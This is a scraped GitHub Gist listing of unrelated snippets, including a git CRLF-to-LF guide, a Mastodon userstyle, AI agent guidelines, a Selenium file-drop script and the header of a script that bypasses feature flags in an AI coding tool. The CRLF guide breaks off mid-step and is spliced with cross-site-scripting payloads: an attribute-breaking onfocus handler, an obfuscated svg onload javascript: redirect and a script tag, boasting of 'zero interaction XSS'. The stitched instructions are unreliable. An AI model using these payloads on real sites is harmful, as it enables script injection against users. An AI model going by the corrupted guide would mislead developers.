Skip to content

Instantly share code, notes, and snippets.

@tjsudarsan
tjsudarsan / Change CRLF to LF to all Files.md
Last active February 6, 2026 21:11
Change End of Line Sequence from CRLF to LF to all files in the project for supporting ESLint

Converting the End of Line Sequence from CRLF to LF in any of your project files

Execute the following commands in your root of your project folder

NOTE: Do not do the following steps without commiting your data. As it clears all the git cache and it will clear all your changes in your project.

  1. First disable the autoCRLF in the git config by running the following command in your terminal git config core.autocrlf false

  2. Then remove the cached files in the git. Run the following command:

" onfocus="alert(1)" name="bounty
(Append #bounty to the URL and enjoy your zero interaction XSS )
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
# Internet Explorer, Edge
<svg><script>alert(1)<p>
# Firefox
@cheeaun
cheeaun / userstyle.css
Created February 6, 2026 03:46
2-col layout for Mastodon web. Modify domains as needed.
@-moz-document domain("mastodon.social"), domain("hachyderm.io") {
.columns-area__panels__pane--compositional {
display: none;
}
.columns-area__panels__main {
order: 2;
}
.columns-area__panels__pane--navigational .navigation-bar {
display: block !important;
}
@OmerFarukOruc
OmerFarukOruc / claude.md
Last active February 6, 2026 21:08
AI Agent Workflow Orchestration Guidelines

AI Coding Agent Guidelines (claude.md)

These rules define how an AI coding agent should plan, execute, verify, communicate, and recover when working in a real codebase. Optimize for correctness, minimalism, and developer experience.


Operating Principles (Non-Negotiable)

  • Correctness over cleverness: Prefer boring, readable solutions that are easy to maintain.
  • Smallest change that works: Minimize blast radius; don't refactor adjacent code unless it meaningfully reduces risk or complexity.
@mewset
mewset / playwright-arch-linux-fix.md
Created January 5, 2026 19:59
Playwright on Arch Linux - use system Chromium instead of bundled

Playwright on Arch Linux - just use system Chromium

So you're on Arch and Playwright is being a pain? Yeah, same. Here's what happens:

$ npm init playwright@latest
BEWARE: your OS is not officially supported by Playwright; installing dependencies for ubuntu24.04-x64 as a fallback.
Installing dependencies...
sh: line 1: apt-get: command not found
Failed to install browsers
@emschwartz
emschwartz / README.md
Last active February 6, 2026 21:05
The Most Popular Blogs of Hacker News in 2025

This is an OPML version of the HN Popularity Contest results for 2025, for importing into RSS feed readers.

Plug: if you want to find content related to your interests from thousands of obscure blogs and noisy sources like HN Newest, check out Scour. It's a free, personalized content feed I work on where you define your interests in your own words and it ranks content based on how closely related it is to those topics.

@KhaosT
KhaosT / HDMI on Apple Vision Pro.md
Last active February 6, 2026 21:05
Guide for using Apple Vision Pro as HDMI display

Displaying HDMI sources on Apple Vision Pro

While it's possible to stream most content to Apple Vision Pro directly over the internet, having the ability to use Apple Vision Pro as an HDMI display can still be useful.

Since Apple Vision Pro does not support connecting to an HDMI input directly or using an HDMI capture card, we have to be a little creative to make this work. NDI provides the ability to stream HDMI content over a local network with really low latency, and it works great with Apple Vision Pro.

This page shows the setup I’m using.

@CappyT
CappyT / README.en.md
Created January 26, 2026 15:55
Help Keep Iran Connected: Conduit Proxy Setup

🗽 Conduit Proxy: Help Keep Iran Connected

TL;DR: Help the Iranian population bypass censorship by running a lightweight, low-maintenance proxy. It requires no public IP, acts only as a bridge (not an exit node), and can be deployed via Kubernetes or Docker in seconds.

ℹ️ Context

Access to information is a human right. Due to severe internet censorship in Iran, many citizens are cut off from the rest of the world.

@florentbr
florentbr / #wd-drop-file.py
Last active February 6, 2026 20:59
Selenium - Drop a file from the desktop on a drop area
from selenium import webdriver
from selenium.webdriver.remote.webelement import WebElement
import os.path
# JavaScript: HTML5 File drop
# source : https://gist.github.com/florentbr/0eff8b785e85e93ecc3ce500169bd676
# param1 WebElement : Drop area element
# param2 Double : Optional - Drop offset x relative to the top/left corner of the drop area. Center if 0.
# param3 Double : Optional - Drop offset y relative to the top/left corner of the drop area. Center if 0.
# return WebElement : File input
@gastonmorixe
gastonmorixe / feature-flag-bypass-pure.mjs
Created January 26, 2026 08:04
Claude Code Feature Flag Bypass - Enable swarm features with npx
/**
* Pure Feature Flag Bypass Injector (Zero Disk Writes)
*
* Enables swarm features by intercepting fs.readFileSync calls and injecting
* the tengu_brass_pebble feature flag into the returned settings content.
*
* This version:
* - NEVER writes to ~/.claude/ or any global path
* - NEVER writes log files to disk
* - Only modifies data IN MEMORY